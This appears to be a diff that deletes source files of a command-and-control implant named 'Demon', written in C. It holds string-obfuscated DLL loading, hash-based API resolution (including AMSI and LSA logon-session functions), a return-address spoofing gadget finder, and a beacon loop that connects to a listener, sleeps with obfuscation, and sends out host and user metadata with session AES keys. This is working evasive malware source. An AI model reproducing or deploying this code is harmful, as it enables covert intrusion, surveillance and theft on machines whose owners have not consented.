ModuleName[ 7 ] = HideChar('L');
|
||||
ModuleName[ 9 ] = HideChar(0);
|
||||
ModuleName[ 0 ] = HideChar('G');
|
||||
ModuleName[ 3 ] = HideChar('3');
|
||||
|
||||
if ( ( Instance.Modules.Gdi32 = LdrModuleLoad( ModuleName ) ) ) {
|
||||
MemZero( ModuleName, sizeof( ModuleName ) );
|
||||
Instance.Win32.GetCurrentObject = LdrFunctionAddr( Instance.Modules.Gdi32, H_FUNC_GETCURRENTOBJECT );
|
||||
Instance.Win32.GetObjectW = LdrFunctionAddr( Instance.Modules.Gdi32, H_FUNC_GETOBJECTW );
|
||||
Instance.Win32.CreateCompatibleDC = LdrFunctionAddr( Instance.Modules.Gdi32, H_FUNC_CREATECOMPATIBLEDC );
|
||||
Instance.Win32.CreateDIBSection = LdrFunctionAddr( Instance.Modules.Gdi32, H_FUNC_CREATEDIBSECTION );
|
||||
Instance.Win32.SelectObject = LdrFunctionAddr( Instance.Modules.Gdi32, H_FUNC_SELECTOBJECT );
|
||||
Instance.Win32.BitBlt = LdrFunctionAddr( Instance.Modules.Gdi32, H_FUNC_BITBLT );
|
||||
Instance.Win32.DeleteObject = LdrFunctionAddr( Instance.Modules.Gdi32, H_FUNC_DELETEOBJECT );
|
||||
Instance.Win32.DeleteDC = LdrFunctionAddr( Instance.Modules.Gdi32, H_FUNC_DELETEDC );
|
||||
|
||||
PUTS( "Loaded Gdi32 functions" )
|
||||
} else {
|
||||
MemZero( ModuleName, sizeof( ModuleName ) );
|
||||
PUTS( "Failed to load Gdi32" )
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL RtNetApi32(
|
||||
VOID
|
||||
) {
|
||||
CHAR ModuleName[ 13 ] = { 0 };
|
||||
|
||||
ModuleName[ 0 ] = HideChar('N');
|
||||
ModuleName[ 11 ] = HideChar('L');
|
||||
ModuleName[ 8 ] = HideChar('.');
|
||||
ModuleName[ 9 ] = HideChar('D');
|
||||
ModuleName[ 6 ] = HideChar('3');
|
||||
ModuleName[ 2 ] = HideChar('T');
|
||||
ModuleName[ 3 ] = HideChar('A');
|
||||
ModuleName[ 10 ] = HideChar('L');
|
||||
ModuleName[ 12 ] = HideChar(0);
|
||||
ModuleName[ 4 ] = HideChar('P');
|
||||
ModuleName[ 5 ] = HideChar('I');
|
||||
ModuleName[ 1 ] = HideChar('E');
|
||||
ModuleName[ 7 ] = HideChar('2');
|
||||
|
||||
if ( ( Instance.Modules.NetApi32 = LdrModuleLoad( ModuleName ) ) ) {
|
||||
MemZero( ModuleName, sizeof( ModuleName ) );
|
||||
Instance.Win32.NetLocalGroupEnum = LdrFunctionAddr( Instance.Modules.NetApi32, H_FUNC_NETLOCALGROUPENUM );
|
||||
Instance.Win32.NetGroupEnum = LdrFunctionAddr( Instance.Modules.NetApi32, H_FUNC_NETGROUPENUM );
|
||||
Instance.Win32.NetUserEnum = LdrFunctionAddr( Instance.Modules.NetApi32, H_FUNC_NETUSERENUM );
|
||||
Instance.Win32.NetWkstaUserEnum = LdrFunctionAddr( Instance.Modules.NetApi32, H_FUNC_NETWKSTAUSERENUM );
|
||||
Instance.Win32.NetSessionEnum = LdrFunctionAddr( Instance.Modules.NetApi32, H_FUNC_NETSESSIONENUM );
|
||||
Instance.Win32.NetShareEnum = LdrFunctionAddr( Instance.Modules.NetApi32, H_FUNC_NETSHAREENUM );
|
||||
Instance.Win32.NetApiBufferFree = LdrFunctionAddr( Instance.Modules.NetApi32, H_FUNC_NETAPIBUFFERFREE );
|
||||
|
||||
PUTS( "Loaded NetApi32 functions" )
|
||||
} else {
|
||||
MemZero( ModuleName, sizeof( ModuleName ) );
|
||||
PUTS( "Failed to load NetApi32" )
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL RtWs2_32(
|
||||
VOID
|
||||
) {
|
||||
CHAR ModuleName[ 11 ] = { 0 };
|
||||
|
||||
ModuleName[ 0 ] = HideChar('W');
|
||||
ModuleName[ 2 ] = HideChar('2');
|
||||
ModuleName[ 4 ] = HideChar('3');
|
||||
ModuleName[ 6 ] = HideChar('.');
|
||||
ModuleName[ 9 ] = HideChar('L');
|
||||
ModuleName[ 1 ] = HideChar('S');
|
||||
ModuleName[ 3 ] = HideChar('_');
|
||||
ModuleName[ 5 ] = HideChar('2');
|
||||
ModuleName[ 10 ] = HideChar(0);
|
||||
ModuleName[ 8 ] = HideChar('L');
|
||||
ModuleName[ 7 ] = HideChar('D');
|
||||
|
||||
if ( ( Instance.Modules.Ws2_32 = LdrModuleLoad( ModuleName ) ) ) {
|
||||
MemZero( ModuleName, sizeof( ModuleName ) );
|
||||
Instance.Win32.WSAStartup = LdrFunctionAddr( Instance.Modules.Ws2_32, H_FUNC_WSASTARTUP );
|
||||
Instance.Win32.WSACleanup = LdrFunctionAddr( Instance.Modules.Ws2_32, H_FUNC_WSACLEANUP );
|
||||
Instance.Win32.WSASocketA = LdrFunctionAddr( Instance.Modules.Ws2_32, H_FUNC_WSASOCKETA );
|
||||
Instance.Win32.WSAGetLastError = LdrFunctionAddr( Instance.Modules.Ws2_32, H_FUNC_WSAGETLASTERROR );
|
||||
Instance.Win32.ioctlsocket = LdrFunctionAddr( Instance.Modules.Ws2_32, H_FUNC_IOCTLSOCKET );
|
||||
Instance.Win32.bind = LdrFunctionAddr( Instance.Modules.Ws2_32, H_FUNC_BIND );
|
||||
Instance.Win32.listen = LdrFunctionAddr( Instance.Modules.Ws2_32, H_FUNC_LISTEN );
|
||||
Instance.Win32.accept = LdrFunctionAddr( Instance.Modules.Ws2_32, H_FUNC_ACCEPT );
|
||||
Instance.Win32.closesocket = LdrFunctionAddr( Instance.Modules.Ws2_32, H_FUNC_CLOSESOCKET );
|
||||
Instance.Win32.recv = LdrFunctionAddr( Instance.Modules.Ws2_32, H_FUNC_RECV );
|
||||
Instance.Win32.send = LdrFunctionAddr( Instance.Modules.Ws2_32, H_FUNC_SEND );
|
||||
Instance.Win32.connect = LdrFunctionAddr( Instance.Modules.Ws2_32, H_FUNC_CONNECT );
|
||||
Instance.Win32.getaddrinfo = LdrFunctionAddr( Instance.Modules.Ws2_32, H_FUNC_GETADDRINFO );
|
||||
Instance.Win32.freeaddrinfo = LdrFunctionAddr( Instance.Modules.Ws2_32, H_FUNC_FREEADDRINFO );
|
||||
|
||||
PUTS( "Loaded Ws2_32 functions" )
|
||||
} else {
|
||||
MemZero( ModuleName, sizeof( ModuleName ) );
|
||||
PUTS( "Failed to load Ws2_32" )
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
|
||||
BOOL RtSspicli(
|
||||
VOID
|
||||
) {
|
||||
CHAR ModuleName[ 12 ] = { 0 };
|
||||
|
||||
ModuleName[ 0 ] = HideChar('S');
|
||||
ModuleName[ 11 ] = HideChar(0);
|
||||
ModuleName[ 9 ] = HideChar('L');
|
||||
ModuleName[ 1 ] = HideChar('S');
|
||||
ModuleName[ 6 ] = HideChar('I');
|
||||
ModuleName[ 7 ] = HideChar('.');
|
||||
ModuleName[ 5 ] = HideChar('L');
|
||||
ModuleName[ 8 ] = HideChar('D');
|
||||
ModuleName[ 2 ] = HideChar('P');
|
||||
ModuleName[ 10 ] = HideChar('L');
|
||||
ModuleName[ 4 ] = HideChar('C');
|
||||
ModuleName[ 3 ] = HideChar('I');
|
||||
|
||||
if ( ( Instance.Modules.Sspicli = LdrModuleLoad( ModuleName ) ) ) {
|
||||
MemZero( ModuleName, sizeof( ModuleName ) );
|
||||
Instance.Win32.LsaRegisterLogonProcess = LdrFunctionAddr( Instance.Modules.Sspicli, H_FUNC_LSAREGISTERLOGONPROCESS );
|
||||
Instance.Win32.LsaLookupAuthenticationPackage = LdrFunctionAddr( Instance.Modules.Sspicli, H_FUNC_LSALOOKUPAUTHENTICATIONPACKAGE );
|
||||
Instance.Win32.LsaDeregisterLogonProcess = LdrFunctionAddr( Instance.Modules.Sspicli, H_FUNC_LSADEREGISTERLOGONPROCESS );
|
||||
Instance.Win32.LsaConnectUntrusted = LdrFunctionAddr( Instance.Modules.Sspicli, H_FUNC_LSACONNECTUNTRUSTED );
|
||||
Instance.Win32.LsaFreeReturnBuffer = LdrFunctionAddr( Instance.Modules.Sspicli, H_FUNC_LSAFREERETURNBUFFER );
|
||||
Instance.Win32.LsaCallAuthenticationPackage = LdrFunctionAddr( Instance.Modules.Sspicli, H_FUNC_LSACALLAUTHENTICATIONPACKAGE );
|
||||
Instance.Win32.LsaGetLogonSessionData = LdrFunctionAddr( Instance.Modules.Sspicli, H_FUNC_LSAGETLOGONSESSIONDATA );
|
||||
Instance.Win32.LsaEnumerateLogonSessions = LdrFunctionAddr( Instance.Modules.Sspicli, H_FUNC_LSAENUMERATELOGONSESSIONS );
|
||||
|
||||
PUTS( "Loaded Sspicli functions" )
|
||||
} else {
|
||||
MemZero( ModuleName, sizeof( ModuleName ) );
|
||||
PUTS( "Failed to load Sspicli" )
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL RtAmsi(
|
||||
VOID
|
||||
) {
|
||||
CHAR ModuleName[ 9 ] = { 0 };
|
||||
|
||||
ModuleName[ 3 ] = HideChar('I');
|
||||
ModuleName[ 5 ] = HideChar('D');
|
||||
ModuleName[ 7 ] = HideChar('L');
|
||||
ModuleName[ 8 ] = HideChar(0);
|
||||
ModuleName[ 6 ] = HideChar('L');
|
||||
ModuleName[ 4 ] = HideChar('.');
|
||||
ModuleName[ 0 ] = HideChar('A');
|
||||
ModuleName[ 1 ] = HideChar('M');
|
||||
ModuleName[ 2 ] = HideChar('S');
|
||||
|
||||
if ( ( Instance.Modules.Amsi = LdrModuleLoad( ModuleName ) ) ) {
|
||||
MemZero( ModuleName, sizeof( ModuleName ) );
|
||||
Instance.Win32.AmsiScanBuffer = LdrFunctionAddr( Instance.Modules.Amsi, H_FUNC_AMSISCANBUFFER );
|
||||
|
||||
PUTS( "Loaded Amsi functions" )
|
||||
} else {
|
||||
MemZero( ModuleName, sizeof( ModuleName ) );
|
||||
PUTS( "Failed to load Amsi" )
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
#ifdef TRANSPORT_HTTP
|
||||
BOOL RtWinHttp(
|
||||
VOID
|
||||
) {
|
||||
CHAR ModuleName[ 12 ] = { 0 };
|
||||
|
||||
ModuleName[ 0 ] = HideChar('W');
|
||||
ModuleName[ 2 ] = HideChar('N');
|
||||
ModuleName[ 7 ] = HideChar('.');
|
||||
ModuleName[ 11 ] = HideChar(0);
|
||||
ModuleName[ 10 ] = HideChar('L');
|
||||
ModuleName[ 4 ] = HideChar('T');
|
||||
ModuleName[ 8 ] = HideChar('D');
|
||||
ModuleName[ 1 ] = HideChar('I');
|
||||
ModuleName[ 9 ] = HideChar('L');
|
||||
ModuleName[ 6 ] = HideChar('P');
|
||||
ModuleName[ 3 ] = HideChar('H');
|
||||
ModuleName[ 5 ] = HideChar('T');
|
||||
|
||||
if ( ( Instance.Modules.WinHttp = LdrModuleLoad( ModuleName ) ) ) {
|
||||
MemZero( ModuleName, sizeof( ModuleName ) );
|
||||
Instance.Win32.WinHttpOpen = LdrFunctionAddr( Instance.Modules.WinHttp, H_FUNC_WINHTTPOPEN );
|
||||
Instance.Win32.WinHttpConnect = LdrFunctionAddr( Instance.Modules.WinHttp, H_FUNC_WINHTTPCONNECT );
|
||||
Instance.Win32.WinHttpOpenRequest = LdrFunctionAddr( Instance.Modules.WinHttp, H_FUNC_WINHTTPOPENREQUEST );
|
||||
Instance.Win32.WinHttpSetOption = LdrFunctionAddr( Instance.Modules.WinHttp, H_FUNC_WINHTTPSETOPTION );
|
||||
Instance.Win32.WinHttpCloseHandle = LdrFunctionAddr( Instance.Modules.WinHttp, H_FUNC_WINHTTPCLOSEHANDLE );
|
||||
Instance.Win32.WinHttpSendRequest = LdrFunctionAddr( Instance.Modules.WinHttp, H_FUNC_WINHTTPSENDREQUEST );
|
||||
Instance.Win32.WinHttpAddRequestHeaders = LdrFunctionAddr( Instance.Modules.WinHttp, H_FUNC_WINHTTPADDREQUESTHEADERS );
|
||||
Instance.Win32.WinHttpReceiveResponse = LdrFunctionAddr( Instance.Modules.WinHttp, H_FUNC_WINHTTPRECEIVERESPONSE );
|
||||
Instance.Win32.WinHttpReadData = LdrFunctionAddr( Instance.Modules.WinHttp, H_FUNC_WINHTTPREADDATA );
|
||||
Instance.Win32.WinHttpQueryHeaders = LdrFunctionAddr( Instance.Modules.WinHttp, H_FUNC_WINHTTPQUERYHEADERS );
|
||||
Instance.Win32.WinHttpGetIEProxyConfigForCurrentUser = LdrFunctionAddr( Instance.Modules.WinHttp, H_FUNC_WINHTTPGETIEPROXYCONFIGFORCURRENTUSER );
|
||||
Instance.Win32.WinHttpGetProxyForUrl = LdrFunctionAddr( Instance.Modules.WinHttp, H_FUNC_WINHTTPGETPROXYFORURL );
|
||||
|
||||
PUTS( "Loaded WinHttp functions" )
|
||||
} else {
|
||||
MemZero( ModuleName, sizeof( ModuleName ) );
|
||||
PUTS( "Failed to load WinHttp" )
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
#endif
|
||||
@@ -1,48 +0,0 @@
|
||||
#include <Core/Spoof.h>
|
||||
#include <Core/MiniStd.h>
|
||||
|
||||
#if _WIN64
|
||||
|
||||
PVOID FindGadget(
|
||||
IN LPBYTE Module,
|
||||
IN ULONG Size
|
||||
) {
|
||||
for ( int x = 0; x < Size; x++ )
|
||||
{
|
||||
if ( MemCompare( Module + x, "\xFF\x23", 2 ) == 0 )
|
||||
{
|
||||
return ( PVOID )( Module + x );
|
||||
};
|
||||
};
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
PVOID SpoofRetAddr(
|
||||
IN PVOID Module,
|
||||
IN ULONG Size,
|
||||
IN HANDLE Function,
|
||||
IN OUT PVOID a,
|
||||
IN OUT PVOID b,
|
||||
IN OUT PVOID c,
|
||||
IN OUT PVOID d,
|
||||
IN OUT PVOID e,
|
||||
IN OUT PVOID f,
|
||||
IN OUT PVOID g,
|
||||
IN OUT PVOID h
|
||||
) {
|
||||
PVOID Trampoline = NULL;
|
||||
|
||||
if ( Function != NULL )
|
||||
{
|
||||
Trampoline = FindGadget( Module, Size );
|
||||
if ( Trampoline != NULL ) {
|
||||
PRM param = { Trampoline, Function };
|
||||
return ( ( PVOID( * ) ( PVOID, PVOID, PVOID, PVOID, PPRM, PVOID, PVOID, PVOID, PVOID, PVOID ) ) ( ( PVOID ) Spoof ) ) ( a, b, c, d, ¶m, NULL, e, f, g, h );
|
||||
}
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
#endif
|
||||
@@ -1,786 +0,0 @@
|
||||
#include <Demon.h>
|
||||
|
||||
/* Import Common Headers */
|
||||
#include <Common/Defines.h>
|
||||
#include <Common/Macros.h>
|
||||
|
||||
/* Import Core Headers */
|
||||
#include <Core/Transport.h>
|
||||
#include <Core/SleepObf.h>
|
||||
#include <Core/Win32.h>
|
||||
#include <Core/MiniStd.h>
|
||||
#include <Core/SysNative.h>
|
||||
#include <Core/Runtime.h>
|
||||
|
||||
/* Import Inject Headers */
|
||||
#include <Inject/Inject.h>
|
||||
|
||||
/* Import Inject Headers */
|
||||
#include <Loader/ObjectApi.h>
|
||||
|
||||
/* Global Variables */
|
||||
SEC_DATA INSTANCE Instance = { 0 };
|
||||
SEC_DATA BYTE AgentConfig[] = CONFIG_BYTES;
|
||||
|
||||
/*
|
||||
* In DemonMain it should go as followed:
|
||||
*
|
||||
* 1. Initialize pointer, modules and win32 api
|
||||
* 2. Initialize metadata
|
||||
* 3. Parse config
|
||||
* 4. Enter main connecting and tasking routine
|
||||
*
|
||||
*/
|
||||
VOID DemonMain( PVOID ModuleInst, PKAYN_ARGS KArgs )
|
||||
{
|
||||
/* Initialize Win32 API, Load Modules and Syscalls stubs (if we specified it) */
|
||||
DemonInit( ModuleInst, KArgs );
|
||||
|
||||
/* Initialize MetaData */
|
||||
DemonMetaData( &Instance.MetaData, TRUE );
|
||||
|
||||
/* Main demon routine */
|
||||
DemonRoutine();
|
||||
}
|
||||
|
||||
/* Main demon routine:
|
||||
*
|
||||
* 1. Connect to listener
|
||||
* 2. Go into tasking routine:
|
||||
* A. Sleep Obfuscation.
|
||||
* B. Request for the task queue
|
||||
* C. Parse Task
|
||||
* D. Execute Task (if it's not DEMON_COMMAND_NO_JOB)
|
||||
* E. Goto C (we do this til there is nothing left)
|
||||
* F. Goto A (we have nothing else to execute then lets sleep and after waking up request for more)
|
||||
* 3. Sleep Obfuscation. After that lets try to connect to the listener again
|
||||
*/
|
||||
_Noreturn
|
||||
VOID DemonRoutine()
|
||||
{
|
||||
/* the main loop */
|
||||
for ( ;; )
|
||||
{
|
||||
/* if we aren't connected then lets connect to our host */
|
||||
if ( ! Instance.Session.Connected )
|
||||
{
|
||||
/* Connect to our listener */
|
||||
if ( TransportInit() )
|
||||
{
|
||||
|
||||
#ifdef TRANSPORT_HTTP
|
||||
/* reset the failure counter since we managed to connect to it. */
|
||||
Instance.Config.Transport.Host->Failures = 0;
|
||||
#endif
|
||||
}
|
||||
}
|
||||
|
||||
if ( Instance.Session.Connected )
|
||||
{
|
||||
/* Enter tasking routine */
|
||||
CommandDispatcher();
|
||||
}
|
||||
|
||||
/* Sleep for a while (with encryption if specified) */
|
||||
SleepObf();
|
||||
}
|
||||
}
|
||||
|
||||
/* Init metadata buffer/package. */
|
||||
VOID DemonMetaData( PPACKAGE* MetaData, BOOL Header )
|
||||
{
|
||||
PVOID Data = NULL;
|
||||
PIP_ADAPTER_INFO Adapter = NULL;
|
||||
OSVERSIONINFOEXW OsVersions = { 0 };
|
||||
SIZE_T Length = 0;
|
||||
DWORD dwLength = 0;
|
||||
|
||||
/* Check we if we want to add the Agent Header + CommandID too */
|
||||
if ( Header )
|
||||
{
|
||||
*MetaData = PackageCreateWithMetaData( DEMON_INITIALIZE );
|
||||
|
||||
/* Do not destroy this package if we fail to connect to the listener. */
|
||||
( *MetaData )->Destroy = FALSE;
|
||||
}
|
||||
|
||||
// create AES Keys/IV
|
||||
if ( Instance.Config.AES.Key == NULL && Instance.Config.AES.IV == NULL )
|
||||
{
|
||||
Instance.Config.AES.Key = Instance.Win32.LocalAlloc( LPTR, 32 );
|
||||
Instance.Config.AES.IV = Instance.Win32.LocalAlloc( LPTR, 16 );
|
||||
|
||||
for ( SHORT i = 0; i < 32; i++ )
|
||||
Instance.Config.AES.Key[ i ] = RandomNumber32();
|
||||
|
||||
for ( SHORT i = 0; i < 16; i++ )
|
||||
Instance.Config.AES.IV[ i ] = RandomNumber32();
|
||||
}
|
||||
|
||||
/*
|
||||
|
||||
Header (if specified):
|
||||
[ SIZE ] 4 bytes
|
||||
[ Magic Value ] 4 bytes
|
||||
[ Agent ID ] 4 bytes
|
||||
[ COMMAND ID ] 4 bytes
|
||||
[ Request ID ] 4 bytes
|
||||
|
||||
MetaData:
|
||||
[ AES KEY ] 32 bytes
|
||||
[ AES IV ] 16 bytes
|
||||
[ Magic Value ] 4 bytes
|
||||
[ Demon ID ] 4 bytes
|
||||
[ Host Name ] size + bytes
|
||||
[ User Name ] size + bytes
|
||||
[ Domain ] size + bytes
|
||||
[ IP Address ] 16 bytes?
|
||||
[ Process Name ] size + bytes
|
||||
[ Process ID ] 4 bytes
|
||||
[ Parent PID ] 4 bytes
|
||||
[ Process Arch ] 4 bytes
|
||||
[ Elevated ] 4 bytes
|
||||
[ Base Address ] 8 bytes
|
||||
[ OS Info ] ( 5 * 4 ) bytes
|
||||
[ OS Arch ] 4 bytes
|
||||
[ SleepDelay ] 4 bytes
|
||||
[ SleepJitter ] 4 bytes
|
||||
[ Killdate ] 8 bytes
|
||||
[ WorkingHours ] 4 bytes
|
||||
..... more
|
||||
[ Optional ] Eg: Pivots, Extra data about the host or network etc.
|
||||
*/
|
||||
|
||||
// Add AES Keys/IV
|
||||
PackageAddPad( *MetaData, ( PCHAR ) Instance.Config.AES.Key, 32 );
|
||||
PackageAddPad( *MetaData, ( PCHAR ) Instance.Config.AES.IV, 16 );
|
||||
|
||||
// Add session id
|
||||
PackageAddInt32( *MetaData, Instance.Session.AgentID );
|
||||
|
||||
// Get Computer name
|
||||
dwLength = 0;
|
||||
if ( ! Instance.Win32.GetComputerNameExA( ComputerNameNetBIOS, NULL, &dwLength ) )
|
||||
{
|
||||
if ( ( Data = Instance.Win32.LocalAlloc( LPTR, dwLength ) ) )
|
||||
{
|
||||
MemSet( Data, 0, dwLength );
|
||||
if ( Instance.Win32.GetComputerNameExA( ComputerNameNetBIOS, Data, &dwLength ) )
|
||||
PackageAddBytes( *MetaData, Data, dwLength );
|
||||
else
|
||||
PackageAddInt32( *MetaData, 0 );
|
||||
DATA_FREE( Data, dwLength );
|
||||
}
|
||||
else
|
||||
PackageAddInt32( *MetaData, 0 );
|
||||
}
|
||||
else
|
||||
PackageAddInt32( *MetaData, 0 );
|
||||
|
||||
// Get Username
|
||||
dwLength = 0;
|
||||
if ( ! Instance.Win32.GetUserNameA( NULL, &dwLength ) )
|
||||
{
|
||||
if ( ( Data = Instance.Win32.LocalAlloc( LPTR, dwLength ) ) )
|
||||
{
|
||||
MemSet( Data, 0, dwLength );
|
||||
if ( Instance.Win32.GetUserNameA( Data, &dwLength ) )
|
||||
PackageAddBytes( *MetaData, Data, dwLength );
|
||||
else
|
||||
PackageAddInt32( *MetaData, 0 );
|
||||
DATA_FREE( Data, dwLength );
|
||||
}
|
||||
else
|
||||
PackageAddInt32( *MetaData, 0 );
|
||||
}
|
||||
else
|
||||
PackageAddInt32( *MetaData, 0 );
|
||||
|
||||
// Get Domain
|
||||
dwLength = 0;
|
||||
if ( ! Instance.Win32.GetComputerNameExA( ComputerNameDnsDomain, NULL, &dwLength ) )
|
||||
{
|
||||
if ( ( Data = Instance.Win32.LocalAlloc( LPTR, dwLength ) ) )
|
||||
{
|
||||
MemSet( Data, 0, dwLength );
|
||||
if ( Instance.Win32.GetComputerNameExA( ComputerNameDnsDomain, Data, &dwLength ) )
|
||||
PackageAddBytes( *MetaData, Data, dwLength );
|
||||
else
|
||||
PackageAddInt32( *MetaData, 0 );
|
||||
DATA_FREE( Data, dwLength );
|
||||
}
|
||||
else
|
||||
PackageAddInt32( *MetaData, 0 );
|
||||
}
|
||||
else
|
||||
PackageAddInt32( *MetaData, 0 );
|
||||
|
||||
// Get internal IP
|
||||
dwLength = 0;
|
||||
if ( Instance.Win32.GetAdaptersInfo( NULL, &dwLength ) )
|
||||
{
|
||||
if ( ( Adapter = Instance.Win32.LocalAlloc( LPTR, dwLength ) ) )
|
||||
{
|
||||
if ( Instance.Win32.GetAdaptersInfo( Adapter, &dwLength ) == NO_ERROR )
|
||||
PackageAddString( *MetaData, Adapter->IpAddressList.IpAddress.String );
|
||||
else
|
||||
PackageAddInt32( *MetaData, 0 );
|
||||
DATA_FREE( Adapter, dwLength );
|
||||
}
|
||||
else
|
||||
PackageAddInt32( *MetaData, 0 );
|
||||
}
|
||||
else
|
||||
PackageAddInt32( *MetaData, 0 );
|
||||
|
||||
// Get Process Path
|
||||
PackageAddWString( *MetaData, ( ( PRTL_USER_PROCESS_PARAMETERS ) Instance.Teb->ProcessEnvironmentBlock->ProcessParameters )->ImagePathName.Buffer );
|
||||
|
||||
PackageAddInt32( *MetaData, ( DWORD ) ( ULONG_PTR ) Instance.Teb->ClientId.UniqueProcess );
|
||||
PackageAddInt32( *MetaData, ( DWORD ) ( ULONG_PTR ) Instance.Teb->ClientId.UniqueThread );
|
||||
PackageAddInt32( *MetaData, Instance.Session.PPID );
|
||||
PackageAddInt32( *MetaData, PROCESS_AGENT_ARCH );
|
||||
PackageAddInt32( *MetaData, BeaconIsAdmin( ) );
|
||||
PackageAddInt64( *MetaData, Instance.Session.ModuleBase );
|
||||
|
||||
MemSet( &OsVersions, 0, sizeof( OsVersions ) );
|
||||
OsVersions.dwOSVersionInfoSize = sizeof( OsVersions );
|
||||
Instance.Win32.RtlGetVersion( &OsVersions );
|
||||
PackageAddInt32( *MetaData, OsVersions.dwMajorVersion );
|
||||
PackageAddInt32( *MetaData, OsVersions.dwMinorVersion );
|
||||
PackageAddInt32( *MetaData, OsVersions.wProductType );
|
||||
PackageAddInt32( *MetaData, OsVersions.wServicePackMajor );
|
||||
PackageAddInt32( *MetaData, OsVersions.dwBuildNumber );
|
||||
PackageAddInt32( *MetaData, Instance.Session.OS_Arch );
|
||||
|
||||
PackageAddInt32( *MetaData, Instance.Config.Sleeping );
|
||||
PackageAddInt32( *MetaData, Instance.Config.Jitter );
|
||||
PackageAddInt64( *MetaData, Instance.Config.Transport.KillDate );
|
||||
PackageAddInt32( *MetaData, Instance.Config.Transport.WorkingHours );
|
||||
}
|
||||
|
||||
VOID DemonInit( PVOID ModuleInst, PKAYN_ARGS KArgs )
|
||||
{
|
||||
OSVERSIONINFOEXW OSVersionExW = { 0 };
|
||||
PVOID RtModules[] = {
|
||||
RtAdvapi32,
|
||||
//RtMscoree,
|
||||
RtOleaut32,
|
||||
RtUser32,
|
||||
RtShell32,
|
||||
RtMsvcrt,
|
||||
RtIphlpapi,
|
||||
RtGdi32,
|
||||
RtNetApi32,
|
||||
RtWs2_32,
|
||||
RtSspicli,
|
||||
#ifdef TRANSPORT_HTTP
|
||||
RtWinHttp,
|
||||
#endif
|
||||
};
|
||||
|
||||
MemSet( &Instance, 0, sizeof( INSTANCE ) );
|
||||
|
||||
Instance.Teb = NtCurrentTeb();
|
||||
|
||||
#ifdef TRANSPORT_HTTP
|
||||
PUTS( "TRANSPORT_HTTP" )
|
||||
#endif
|
||||
|
||||
#ifdef TRANSPORT_SMB
|
||||
PUTS( "TRANSPORT_SMB" )
|
||||
#endif
|
||||
|
||||
|
||||
/* resolve ntdll.dll functions */
|
||||
if ( ( Instance.Modules.Ntdll = LdrModulePeb( H_MODULE_NTDLL ) ) ) {
|
||||
/* Module/Address function loading */
|
||||
Instance.Win32.LdrGetProcedureAddress = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_LDRGETPROCEDUREADDRESS );
|
||||
Instance.Win32.LdrLoadDll = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_LDRLOADDLL );
|
||||
|
||||
/* Rtl functions */
|
||||
Instance.Win32.RtlAllocateHeap = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_RTLALLOCATEHEAP );
|
||||
Instance.Win32.RtlReAllocateHeap = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_RTLREALLOCATEHEAP );
|
||||
Instance.Win32.RtlFreeHeap = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_RTLFREEHEAP );
|
||||
Instance.Win32.RtlExitUserThread = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_RTLEXITUSERTHREAD );
|
||||
Instance.Win32.RtlExitUserProcess = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_RTLEXITUSERPROCESS );
|
||||
Instance.Win32.RtlRandomEx = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_RTLRANDOMEX );
|
||||
Instance.Win32.RtlNtStatusToDosError = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_RTLNTSTATUSTODOSERROR );
|
||||
Instance.Win32.RtlGetVersion = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_RTLGETVERSION );
|
||||
Instance.Win32.RtlCreateTimerQueue = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_RTLCREATETIMERQUEUE );
|
||||
Instance.Win32.RtlCreateTimer = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_RTLCREATETIMER );
|
||||
Instance.Win32.RtlQueueWorkItem = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_RTLQUEUEWORKITEM );
|
||||
Instance.Win32.RtlRegisterWait = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_RTLREGISTERWAIT );
|
||||
Instance.Win32.RtlDeleteTimerQueue = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_RTLDELETETIMERQUEUE );
|
||||
Instance.Win32.RtlCaptureContext = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_RTLCAPTURECONTEXT );
|
||||
Instance.Win32.RtlAddVectoredExceptionHandler = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_RTLADDVECTOREDEXCEPTIONHANDLER );
|
||||
Instance.Win32.RtlRemoveVectoredExceptionHandler = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_RTLREMOVEVECTOREDEXCEPTIONHANDLER );
|
||||
Instance.Win32.RtlCopyMappedMemory = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_RTLCOPYMAPPEDMEMORY );
|
||||
|
||||
/* Native functions */
|
||||
Instance.Win32.NtClose = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTCLOSE );
|
||||
Instance.Win32.NtCreateEvent = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTCREATEEVENT );
|
||||
Instance.Win32.NtSetEvent = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTSETEVENT );
|
||||
Instance.Win32.NtSetInformationThread = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTSETINFORMATIONTHREAD );
|
||||
Instance.Win32.NtSetInformationVirtualMemory = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTSETINFORMATIONVIRTUALMEMORY );
|
||||
